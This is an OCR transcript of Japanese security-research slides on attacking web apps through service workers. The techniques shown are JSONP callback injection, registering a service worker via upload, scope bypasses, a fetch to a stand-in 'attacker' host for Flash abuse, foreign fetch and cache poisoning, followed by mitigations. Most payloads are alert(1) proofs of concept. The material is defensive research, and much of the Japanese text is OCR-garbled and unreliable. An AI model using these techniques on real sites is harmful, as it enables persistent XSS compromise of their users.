NEARETRS

Service Worker

2017/9/14 PWA Study
Masato Kinugawa




=[at iy

Masato Kinugawa ¢ 7.

Cureb3 r VWS> £ THESIUZ%E L TULWE T,
XSS HEssiEntF =T,

Browser's XSS Filter Bypass Cheat Sheet
https://github.com/masatokinugawa/filterbypass/wiki/Browser's
-XSS-Filter-Bypass-Cheat-Sheet
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<script>
navigator.servicelWorker.register("/sw.js")
</script>
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text/javascript
application/x-javascript
application/javascript
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WES 1) 4% F > TSRS B ApplicationCacheDF v v a7 R X =>4 by @kyo_ago
https://html5experts.jp/kyo ago/5153/

Exploiting the unexploitable with lesser known browser tricks by @filedescriptor
https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=23
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https://example.com/jsonp?callback=alert(1)//

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8

[...]

alert(1)//({});
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https://example.com/xss?g=<script>navigator.serviceWorker [...]

<script>

navigator.servicelWorker.register("/jsonp?callback=[SW_HERE]//");
</script>

https://example.com/jsonp?g=onfetch=e=>console.log('fetch’)//

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8

[...]

onfetch=event=>console.log('fetch')//({});
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<script>

var formData = new FormData();
formData.append("csrf_token", "secret");
var sw = "/* [SW_CODE] */";

var blob = new Blob([sw], { type: "text/javascript"});
formData.append("file", blob, "sw.js");
fetch("/upload", {method: "POST", body: formData})
.then(/* Register SW */);

</script>
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onfetch=e=>{
body = '<script>alert(1l)</script>’;

¥

init = {headers: {'content-type': 'text/html'}};
e.respondWith(new Response(body,init));
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<script>

navigator.servicelWorker.register("/sw.js", {scope: "/"})
</script>
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"/assets/js/sw.js" : "https://other.example.com/"}
"/assets/js/sw.js" : "/assets/"}

"/assets/js/sw.js" . "/assets/css/"}
"/assets/js/sw.js" . "/assets/js/"}
"/assets/js/sw.Jjs” : "/assets/Jjs/sub/"}
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HTTP/1.1 200 OK
content-type: text/javascript

service-worker-allowed: /

[...]
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https://example.com/api/jsonp

https://example.com/api%2Fjsonp
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It any of the strings in scriptURL’s path contains either ASCII case-insensitive
"%21" or ASCII case-insensitive "%5c", reject p with a TypeError and abort
these steps.

https://www.w3.org/TR/service-workers-1/#navigator-service-worker-register



https://www.w3.org/TR/service-workers-1/#navigator-service-worker-register
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onfetch=e=>{

e.respondWith(fetch("//attacker/poc.swf"))
¥
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Flash@®crossdomain.xml

XD https://example.com/crossdomain.xml H'd % & &

<?xml version="1.0"?>
<cross-domain-policy>

<allow-access-from domain="example.jp" />
</cross-domain-policy>

example.jplCED N 1zFlashh 5example.comDR—T DR AHEXD HEFRI I N D
= cxample.jp TSWTFlashhMEN % & &. example.com®DsrAED A ATEEIC !
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https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016



https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016
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Plug-ins should not load via service workers. As plug-ins may get their security origins
from their own urls, the embedding service worker cannot handle it. For this reason, the
Handle Fetch algorithm makes the potential-navigation-or-subresource request (whose
context is either <embed> or <object>) immediately fallback to the network without
dispatching fetch event.

https://www.w3.org/TR/service-workers-1/#implementer-concerns
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https://www.w3.org/TR/service-workers-1/#implementer-concerns
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<script src="//example.com/socialbutton.js"></script>

example.com @ SW (dForeign Fetch™
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self.addEventListener('install’', e => {
e.registerForeignFetch({
scopes: ['/'],
origins: ['"*']//ETCOMA IS DT7 I XATSWZEFEETHE S
});
1)

onforeignfetch = e => {
e.respondWith(fetch(e.request).then(res => ({
response: new Response('alert(1)')// alert(l) Thu&

1))
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https://github.com/w3c/ServiceWorker/issues/1188



https://github.com/w3c/ServiceWorker/issues/1188
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onfetch = event => {
event.respondWith(
caches.open("v1l").then(function(cache) {
return cache.match(event.request).then(function(response) {
if (response) {
return response;// ¥yvw>admbh

} else {

return fetch(event.request.clone()).then(function(response) {
cache.put(event.request, response.clone());// ¥v¥ v aRkEF
return response;
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<script>
caches.open("v1l").then(function(cache){
content "<script>alert(1l)</script>";
init {headers: {"content-type": "text/html"}};

request new Request("poison.html");
response = new Response(content, init);
cache.put(request, response);

1)

</script>
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<script>

document.write(localStorage.getItem( 'name"'));
</script>

(localStorageld TR — T TXILTE 5725 D h'\.
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chrome://serviceworker-internals (Cache Storage® 57— & ($EE & LY)
FHEEY —JL -> Application® 7 -> Clear Storage

chrome://settings/clearBrowserData 5 TCookie &ftD 1k 7—%1 ZHY
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HTTP/1.1 200 OK

Content-Type:text/html
Clear-Site-Data: "storage"
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GET https://example.com/sw.js HTTP/1.1

Host: example.com

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/61.0.3163.79 Safari/537.36

Accept: */*

Service-Worker: script

Referer: https://example.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en;q=0.8,en-US;q=0.6




- R

o SWIIXSSOWEDAIgeE % LT
XSSD kel
FlashiZ & 2
SWhFvvalcBHd 3BE
« SWICEHETAWENS T T ZTBIcDHI
BARRBXSSHERZERMEL & S

SWDRXZ V)T ETRRWIY —XHFICISONP. 7 71I)L7w 70O— R)IC
Xt 9 % Service-Worker: script J 7 T X kA /911:?0) )OI MZEER
L&D



BRZENT BICHIcD. U TFTOERZRICEZICSETIRTE LT,
HONESTTVET,

sirdarckcat: [Service Workers] New APIls = New Vulns = Fun++

https://sirdarckcat.blogspot.jp/2015/05/service-workers-new-apis-new-vulns-fun.html

epl7 Service Worker | mozaic.fm
https://mozaic.fm/episodes/17/service-worker.html

Service worker 7' < mobile web DFTL WLWH =B
https://www.slideshare.net/kinukox/service-worker-mobile-web



https://sirdarckcat.blogspot.jp/2015/05/service-workers-new-apis-new-vulns-fun.html
https://mozaic.fm/episodes/17/service-worker.html
https://www.slideshare.net/kinukox/service-worker-mobile-web
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